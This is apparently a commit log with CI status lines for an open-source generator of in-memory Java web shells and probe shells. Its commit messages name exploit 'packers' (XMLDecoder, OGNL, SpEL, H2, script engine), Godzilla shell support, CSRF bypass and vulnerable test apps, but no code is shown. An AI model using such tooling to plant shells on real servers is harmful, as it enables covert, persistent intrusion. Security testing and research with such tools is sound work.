MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-11-20 02:27:20 +08:00
ReaJason 75f26e5d38 docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason c4b5b9f2c6 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 17a8f529a0 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason 07b0de017d chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 623d343096 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 5ee604f4a0 feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason a022968965 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason cdb90b6cb1 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fb5b39a4c6 feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason 3838d3d27a build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 5ad7aec805 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason a93da6d0fc chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 4862dd8d2a test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 1ea0351ed0 feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 519d54aea2 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 899f9dd1ab test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 65d9a3c672 feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 6a6e7e1ec7 fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 2d47216a71 test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 65513d9eaa build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 44d087829d feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason fe86bc04c1 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 5c27b8062d test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason e261ec2bd3 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 3b179c10c0 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 0111d50616 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 4563a97ceb perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason eb92c2c4ff build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 7649e1612a build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason aa5683a8d8 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 2620a30a4e feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 761ec7a9e7 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason 33944dfd32 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason dee1c4a5d0 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason a2de3a3808 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason af501ff5a8 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 5c08da5f01 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason 6bdc435df0 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason 059cae27c6 fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason c200140a67 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 2196a4aefb fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason c5a3bd464b chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason f41a0a82b6 test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason 2675991711 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 726a5321db fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason 0c041ee1a9 docs: update CHANGELOG
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-09-13 09:12:02 +08:00
ReaJason 378cf22eb2 chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason d112a9abda docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 7fdba6a810 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason b7ede0f745 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason b88332f2a3 style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ba8c5c1524 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 9713ac452e fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 5915b9877b test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 17c54cd919 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 9159de1781 fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason 4cd6d9fb21 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e879002572 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 96503863f4 feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason 3c073b4445 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b357e50303 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason fd6bd7b18c ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason d7f154209d refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c87a68b557 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason f67d6ff79b feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason a0965a95ef fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason cb3914152f fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason a5fb75b3f0 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e986ae8241 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 8eea712f4d fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 7b95367e4e build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason e45b72f6fc chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason a2f7fe9a8e refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason be29e9dcc0 fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason 0626657991 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 477c99e0bc chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason 17dcb183c4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason b08c33135d style: format code (#95)
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8c3fad5c2d feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 02b2288a42 fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans df47f2ed02 feat: support BigInteger packer
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-25 19:25:54 +08:00
小晨曦andReaJason 9b10f968dc feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 74b3508985 ci: MemShell IntegrationTest not run when packer changed
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-25 12:18:22 +08:00
ReaJason 4e505d6056 build: add more repositories
Docker Build Test / docker-build-test (push) Has been cancelled
2025-08-22 18:41:48 +08:00
ReaJason 4a4bcdca81 docs: update README 2025-08-22 18:41:02 +08:00
ReaJason ab1d9b2132 ci: skip vul for docker build test
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-21 18:21:05 +08:00
ReaJason 0dec83e529 test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 8dc52e7501 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 34e117c462 ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 4fb95374ad docs: update BuildOnLocal.md
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-14 23:16:23 +08:00
ReaJason d7b7f0d23c docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 6a0f1cf299 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason 70ae4180f2 fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 07c612ee44 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 46153de471 ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason 8cbc33066d ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 1e615df9e0 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason a37949e8cc fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 2333711a0f fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 8b27536d80 docs: update README
Test / UniteTest (push) Waiting to run
Test / docker-build-test (push) Waiting to run
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Blocked by required conditions
2025-08-14 00:56:56 +08:00
ReaJason 0a46ebc21e ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason 23997ad5c9 ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason 696abcdfef fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason 6388b2b2bf ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason 44f18f7d21 chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 77cd746154 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 948a6699fb test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason 033c4071cc docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 0cdb94387b feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason 31f5c824db ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 63310043e6 fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 4ab08270d3 feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason e1e5a96283 feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason 7ce71856d3 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason cf05f5f79e docs: update README 2025-08-13 23:53:40 +08:00
ReaJason f342b924f5 fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 866f203ac5 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason d4929f22f3 test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason c2088f477a fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 829b0e8be7 refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 3a10568346 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 975f25534b build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason cf3fa2b18f build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason b2c614eea4 refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason a513e44c96 fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 6e021bef9f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 04e46e12ca fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 13be57e66d feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 6a4c5a1e96 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason b96276ee54 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 82cdbab634 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 4a6577012b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 346e518913 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 6f9ae38add feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason d8851ba83e refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 89ee25fd1a fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason ec9aa97c83 fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason 22f365b3a0 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 52f235cbaf chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d33323cfda chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 4decc08ddc fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 38219261a3 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason b3fef201f7 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason 642a84d711 refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason c74856f3ee chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 19b385478b test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason ab1a214d28 refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason db96872fa4 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason bb4bcb956c fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason 4eff36571c fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 53849f17fe fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 14dbbd9f9e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 60b36f926c build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason a1fec396ba refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason 2f8ab27ee2 build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason fbdc58390a perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 288b6df8e4 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 1116486f37 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason c925954035 feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason 8c06216e96 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason 64c71d6adb refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 94b6b006b2 chore: 1.10.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
